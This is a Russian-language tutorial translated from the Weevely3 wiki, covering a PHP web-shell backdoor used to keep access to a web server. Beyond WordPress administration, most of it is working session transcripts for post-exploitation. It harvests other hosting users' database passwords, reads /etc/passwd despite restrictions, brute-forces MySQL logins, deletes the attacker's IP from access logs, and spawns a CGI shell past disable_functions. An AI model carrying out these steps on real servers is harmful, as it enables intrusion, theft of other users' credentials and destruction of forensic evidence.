Инструкция по использованию Weevely: инструмента веб-мастера и пентестера

Источник: официальная документация https://github.com/epinna/weevely3/wiki

Что такое Weevely

Weevely, в первую очередь, это инструмент для поддержания доступа и проведения, связанных с безопасностью, исследований целевой машины. Тем не менее, данная программа окажется полезной не только для хакеров, но и для веб-мастеров.

В данной инструкции по Weevely рассмотрены некоторые интересные примеры работы как по веб-администрированию, так и по тестированию на проникновение с Weevely.

Поддержка HTTP, SOCKS прокси и TOR’а

Weevely поддерживает прокси HTTP, SOCKS и использование анонимной сети Tor.

Использование

Установите прокси

weevely> :set proxy <type>://<host>:<port>

Или удалите его

weevely> :unset proxy

Примеры

Использовать HTTP прокси для подключения к цели.

www-data@target:/var/www $ :set proxy http://10.24.21.12:8080
proxy = http://10.24.21.12:8080
www-data@target:/var/www $ :system_info -info client_ip
10.24.21.12

Анонимизировать weevely используя прокси Tor SOCKS5, вызванному на порту 9050.

www-data@target:/var/www $ :set proxy socks5://127.0.0.1:9050
proxy = socks5://127.0.0.1:8080
www-data@target:/var/www $ :system_info -info client_ip
5.9.123.81

Использовать SOCKS4 прокси для подключения к цели.

www-data@target:/var/www $ :set proxy socks4://10.24.21.12:8090
proxy = socks4://10.24.21.12:8090
www-data@target:/var/www $ :system_info -info client_ip
10.24.21.12

Веб администрирование

Weevely упрощает администрирование вашего веб-аккаунта, особенно непривилегированного аккаунта на сервисах бесплатного хостинга и в другом используемом совместно окружении.

В этом разделе будут представлены два примера:

  • Загрузка и установка веб-приложений – установка WordPress в две команды
  • Редактирование SQL базы данных и кода веб-приложения – настройте WordPress на использование другой БД

Загрузка и установка веб-приложений

Здесь вы можете узнать, как загрузить и установить систему управления контентом WordPress в сильно ограниченном окружении, которое не позволяет выполнять шелл команды.

Вместо вызова системных команд, которые, быть может, невозможно выполнить в этом окружении, модули Weevely предлагают интуитивную замену, в которой вы себя будете чувствовать как в системном шелле.

Исходные данные

  • Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
  • Используемые модули: file_ls (ls), file_webdownload (wget), file_zip (zip), file_rm (rm)

Сессия

./weevely.py http://target/agent.php mypassword

[+] weevely 3.0

[+] Target: target
[+] Session:    _weevely/sessions/localhost/agent_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

www-data@target:/var/www PHP> wget https://wordpress.org/latest.zip wp.zip
www-data@target:/var/www PHP> ls
.
..
wp.zip
www-data@target:/var/www PHP> zip --decompress wp.zip .
True
www-data@target:/var/www PHP> ls
.
..
wordpress
wp.zip
www-data@target:/var/www PHP> rm wp.zip
True
www-data@target:/var/www PHP> 

Результат

wp1

Редактирование SQL базы данных и кода веб-приложения

Эта инструкция покажет, как просматривать базу данных и редактировать PHP скрипты, завязанные на целевую машину, в весьма ограниченном окружении, которое не позволяет выполнять команды оболочки.

Цель – настроить установленный WordPress на машине target так, чтобы он мог использовать новую базу данных wordpress2, размещённую на сервере target2.

Исходные данные

  • Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
  • Используемые модули: sql_console, pico (file_edit), gedit (file_edit)

Сессия

Начнём с проверки доступности учётных данных новой базы данных. Пожалуйста, обратите внимание, что подключение к target2 сделано завязанным на целевой хост, будто бы это стандартное ssh/telnet подключение.

./weevely.py http://target/agent.php mypassword

[+] weevely 3.0

[+] Target: target
[+] Session:    _weevely/sessions/target/agent_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> :sql_console -user usr2 -passwd pwd2 -host target2
usr2@target2 SQL> show databases;
+--------------------+
| information_schema |
| wordpress2         |
| test               |
+--------------------+
usr2@target2 SQL> show tables in wordpress2;
+---------------------------+
| wp_commentmeta            |
| wp_comments               |
| wp_links                  |
| wp_options                |
| wp_postmeta               |
| wp_posts                  |
| wp_term_relationships     |
| wp_term_taxonomy          |
| wp_terms                  |
| wp_usermeta               |
| wp_users                  |
+---------------------------+
usr2@target2 SQL> ^DModule 'sql_console' execution terminated
www-data@target:/var/www PHP>

Теперь мы готовы заменить информацию о базе данных в конфигурационном файле WordPress - wp-config.php.

www-data@target:/var/www PHP> cd wordpress
www-data@target:/var/www/wordpress PHP> pico wp-config.php

wp2

Удалённые файлы также могут быть отредактированы с использованием локального графического редактора вроде gedit

www-data@target:/var/www/wordpress PHP> gedit wp-config.php

wp3

После сохранения изменений и закрытия редактора, мы получаем подстроенный файл WordPress wp-config.php.

Хакерство

Weevely является важным инструмент для задач последующей эксплуатации, таких как повышение привилегий и поддержание доступа даже в ограниченном окружении.

Далее представлены следующие примеры хакерского использования Weevely:

  • Сбор учётных данных SQL – горизонтальное повышение прав
  • Извлечение содержимого /etc/passwd без доступа для чтения – сбор информации об именах пользователя
  • Брут-форс учётных данных SQL credentials – брут-форс SQL паролей на цели
  • Очистка IP адреса из логов – Удаление следов из лога доступа
  • Обход отключённых системных функций оболочки через mod_cgi и .htaccess

Сбор учётных данных SQL

Эта инструкция покажет, как собирать учётные данные других пользователей на сервере совместного хостинга, который не позволяет выполнение шелл команд.

Исходные данные

  • Пример настройки PHP: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
  • Используемые модули: file_grep (grep)

Сессия

Поиск замечательной папки, которая содержит веб каталоги других пользователей.

./weevely.py http://target/agent.php mypassword

[+] weevely 3.0

[+] Target: target
[+] Session:    _weevely/sessions/target/agent_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> ls
.
..
members
www-data@target:/var/www PHP> cd members
www-data@target:/var/www/members PHP> ls
.
..
alefst
anssot
latrwo
leempt
martol
natsta
rogjas
rotozy
tstanc
virots
yynost
www-data@target:/var/www/members PHP>

Теперь мы запускаем команду grep (псевдоним для модуля file_grep) с сырым регулярным выражением для поиска зашифрованных паролей, сохранённых в других PHP скриптах. Используемое регулярное выражение пропускает все закомментированные строки (^[^*/#]) и ищет те, которые содержит слово pass и, возможно, имеют окончание word.

www-data@target:/var/www/members PHP> grep . '^[^*/#]*passw?o?r?d?'
./virots/config.php:$CFG->dbpass    = 'FFFklasdhas()asdjj';   // your database password
./anssot/moodle/config.php:$CFG->dbpass    = 'kasdhBSAUIGS77&';   // your database password
./leempt/wp/wp-config.php:define('DB_PASSWORD', 'AShasjdh177!@');
./alefst/wordpress/wp-config.php:define('DB_PASSWORD', 'ajhfaifh123!');
./martol/wordpress/wp-config.php:define('DB_PASSWORD', 'monkeydust1234');
./yynost/sites/default/settings.php:    'password' => 'XXyyynotsgoghia(XX',
./martol/drupal-7.x/sites/default/settings.php:    'password' => 'jhj@&&hgdas98k',
./natsta/drupal/sites/default/settings.php:    'password' => '99copacabana',
www-data@target:/var/www/members PHP> 

Мы нашли 8 учётных данных за один раз. Мы можем также поиграться с grep для поиска строк, отвечающих за подключение к mysql.

www-data@target:/var/www/members PHP> grep . 'mysql_conn'
./rotozy/joosep-lineon/db.php:$g_link = mysql_connect( '10.4.4.24', 'rotozy', 'rotozy123') or die();
www-data@target:/var/www/members PHP>

Давайте протестируем последний с модулем sql_console.

www-data@target:/var/www/members PHP> :sql_console -user rotozy -passwd rotozy123 -host 10.4.4.7
rotozy@server7 SQL> SELECT USER();
+----------------+
| rotozy@server7 |
+----------------+
rotozy@server7 SQL> 

Есть!

Извлечение содержимого /etc/passwd без доступа для чтения

Определённые PHP конфигурации препятствуют выполнению команд внешней оболочки (с disable_functions) и предотвращают выход из корневой веб-папки (смотрите open_basedir). Это исключает любой прямой доступ к любому системному файлу (такому как /etc/passwd), что нужно для сбора дополнительной информации для проведения любых атак по повышению привилегий.

Модуль audit_etcpasswd напечатает содержимое /etc/passwd без его чтения.

Исходные данные

  • Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system и open_basedir = /var/www/html/
  • Используемый модуль: audit_etcpasswd

Сессия

Здесь не доступны какие-либо внешние команды оболочки, доступна только оболочка PHP интерпретатора. Пробуем прямой доступ к целевому файлу.

./weevely.py http://target/agent.php mypassword

[+] weevely 3.0

[+] Target: target
[+] Session:    _weevely/sessions/target/agent_1.session
[+] Shell:  PHP interpreter

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

www-data@target:/var/www/html PHP> cd /etc
[-][cd] Failed cd '/etc': no such directory or permission denied
www-data@target:/var/www/html PHP> cat /etc/passwd
[-][download] File download failed, please check remote path and permissions

Прямой доступ невозможен. В любом случае, audit_etcpasswd может перечислить записи с пользователями.

www-data@target:/var/www/html PHP> :audit_etcpasswd --help
usage: audit_etcpasswd [-h] [-real]
                       [-vector {posix_getpwuid,file,fread,file_get_contents,base64}]

Get /etc/passwd with different techniques.

optional arguments:
  -h, --help            show this help message and exit
  -real                 Filter only real users
  -vector {posix_getpwuid,file,fread,file_get_contents,base64}

www-data@target:/var/www/html PHP> :audit_etcpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
yzer:x:1000:1000:yzer,,,:/home/yzer:/bin/bash
www-data@target:/var/www/html PHP>

И содержимое /etc/passwd всё равно извлечено.

Брут-форс учётных данных SQL credentials

Этот пример показывает, как брут-форсить учётные данные множества SQL пользователей.

Исходные данные

  • Пример конфигурации PHP: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system и open_basedir = /var/www/html/
  • Используемые модули: audit_etcpasswd, bruteforce_sql и sql_console

Сессия

Соберём там много системных имён, сколько мы можем. Даже если усиления с open_basedir не позволяет какой-либо доступ вне папки веб, и мы не можем выполнить системные команды, мы всё ещё можем перечислить системных пользователей используя audit_etcpasswd.

./weevely.py http://target/agent.php mypassword

[+] weevely 3.0

[+] Target: target
[+] Session:    _weevely/sessions/target/agent_1.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

www-data@target:/var/www/html PHP> cd ..
[-][cd] Failed cd '..': no such directory or permission denied
www-data@target:/var/www/html PHP> cat /etc/passwd
[-][download] File download failed, please check remote path and permissions
www-data@target:/var/www/html PHP> :audit_etcpasswd -real
root:x:0:0:root:/root:/bin/bash
roblast:x:1000:1000:roblast,,,:/home/roblast:/bin/bash
micjanost:x:1001:1001:micjanost,,,:/home/micjanost:/bin/bash
pjgomes:x:1002:1002:pjgomes,,,:/home/pjgomes:/bin/bash
pdpeers:x:1003:1003:pdpeers,,,:/home/pdpeers:/bin/bash
www-data@target:/var/www/html PHP>

У нас есть 5 имён пользователей, которые мы можем попробовать брутфорсить для поиска SQL пароля. Запускаем модуль SQL брутфорса, используя в качестве словаря с паролями локальный файл wordlists/huge.txt.

www-data@target:/var/www/html PHP> :bruteforce_sql

error: too few arguments
usage: bruteforce_sql [-h] [-hostname HOSTNAME] [-users [USERS [USERS ...]]]
                      [-pwds [PWDS [PWDS ...]]] [-fusers FUSERS]
                      [-fpwds FPWDS]
                      {mysql,pgsql}

Bruteforce SQL database

positional arguments:
  {mysql,pgsql}         Service to bruteforce

optional arguments:
  -h, --help            show this help message and exit
  -hostname HOSTNAME    Hostname
  -users [USERS [USERS ...]]
                        Users
  -pwds [PWDS [PWDS ...]]
                        Passwords
  -fusers FUSERS        Local file path containing users list
  -fpwds FPWDS          Local file path containing password list

www-data@target:/var/www/html PHP> :bruteforce_sql mysql -users roblast micjanost pjgomes pdpeers root -fpwds wordlists/huge.txt 
roblast:reckoned
pjgomes:national
root:Gilchrist
www-data@target:/var/www/html PHP>

За несколько секунд мы получили 3 из 5 учётных данных. Используйте sql_console для проверки найденных аккаунтов.

www-data@target:/var/www/html PHP> :sql_console -u root -p Gilchrist
root@localhost SQL> show databases;
+--------------------+
| mysql              |
| performance_schema |
| test               |
| appdb              |
+--------------------+
root@localhost SQL> 

🙂

Очистка IP адреса из логов

Эта инструкция покажет, как очистить следы доступа из логов на сервере, который не позволяет выполнение шелл-команд, при условии, что целевой файл лога имеет права записи для пользователя, запустившего наш агентский бэкдор.

Исходные данные

  • Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
  • Используемые модули: file_grep (grep), system_info, file_rm (rm), file_cp (cp)

Сессия

В этом примере конфигурации сервера с виртуальным хостингом, файл логов HTTP access виртуального хоста пользователя храниться в директории ~/logs/.

./weevely.py http://target/agent.php mypassword

[+] weevely 3.0

[+] Target: target
[+] Session:    _weevely/sessions/target/agent_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> ls
.
..
htdocs
logs
cpanel
.profile
cgi-bin
member@target:/home/member PHP> cd logs
member@target:/home/member/logs PHP> ls
.
..
access.log
member@target:/home/member/logs PHP>

Теперь запустите команду system_info для поиска нашего IP адреса, с которого пришло наше подключение.

member@target:/home/member/logs PHP> :system_info -info client_ip
174.122.136.104
member@target:/home/member/logs PHP>

Теперь запустите команду grep (псевдоним для модуля file_grep) для обнаружения нашего IP адреса в записях лог файлов.

member@target:/home/member/logs PHP> grep access.log 174.122.136.104
174.122.136.104 - - [21/Apr/2015:20:37:04 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.co.uz/url?sa=t&rct=j&source=web&cd=136&ved=d7fQaxNTP&ei=qpG-lx-Uque6l97bG_EZfE&usg=FL237uTSYjAc8DC-d971rS4UUPyWV13nyK" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3"
174.122.136.104 - - [21/Apr/2015:20:34:01 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=200QawVTBiv_BPoQJdoQhA-yTa66mtGaEA" "Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)"
174.122.136.104 - - [21/Apr/2015:20:28:24 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=183&ved=DJY1U23wu&ei=GfRq0HsncZ7nn32louwyv0&usg=oYydfzk5nYywMujSFCTAmFvz3i3U7IYMDW" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729)"

Мы можем видеть активность с нашего IP, которая была записана. Мы снова можем запустить grep с опцией -v для удаления нашего IP из логов, которые мы сохраним во временные файлы.

member@target:/home/member/logs PHP> grep access.log -v 174.122.136.104 -output cleaned.log
member@target:/home/member/logs PHP>

Давайте проверим, действительно ли наш IP был удалён

member@target:/home/member/logs PHP> grep cleaned.log 174.122.136.104
member@target:/home/member/logs PHP>

Теперь мы можем заменить файлом cleaned.log реальный access.log.

member@target:/home/member/logs PHP> rm access.log
member@target:/home/member/logs PHP> cp cleaned.log access.log
member@target:/home/member/logs PHP> rm cleaned.log

Теперь наши следы убраны из целевого лог файла.

Обход отключённых системных функций оболочки через mod_cgi и .htaccess

Следующая техника была представлена в статье блога ASDIZZLE Getting shell access with PHP system functions disabled.

Эта инструкция покажет, как получить оболочку выполнения команд на сервере хостинга, который не позволяет какие-либо связанные с системой функции.

Исходные данные

  • Пример PHP конфигурации: disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system
  • Используемые модули: audit_disablefunctionsbypass

Сессия

Этот модуль автоматически выполнит проверки, загрузит .htaccess и CGI скрипт и запусти псевдосистемную оболочку на удалённом сервере.

./weevely.py http://localhost/asd.php asdasd

[+] weevely 3.2.0

[+] Target: www-data@target:/var/www/html
[+] Session:    _/weevely/sessions/localhost/asd_0.session
[+] Shell:  PHP interpreter

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> 
www-data@target:/var/www/html PHP> :audit_disablefunctionbypass
[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ ps -aux
  PID TTY          TIME CMD
24693 ?        00:00:00 apache2
24694 ?        00:00:00 apache2
24695 ?        00:00:00 apache2
24696 ?        00:00:00 apache2
24697 ?        00:00:00 apache2
24859 ?        00:00:00 acubu.ved
24864 ?        00:00:00 ps

CGI shell replacement $ quit
www-data@emilio-lin:/var/www/html PHP> 

Чтобы не устанавливать каждый раз, вы можете опцией -just-run прямо в URL указывать на консоль, заменяющую оболочку.

www-data@emilio-lin:/var/www/html PHP> :audit_disablefunctionbypass -just-run http://localhost/acubu.ved
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ whoami
www-data

CGI shell replacement $ 

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *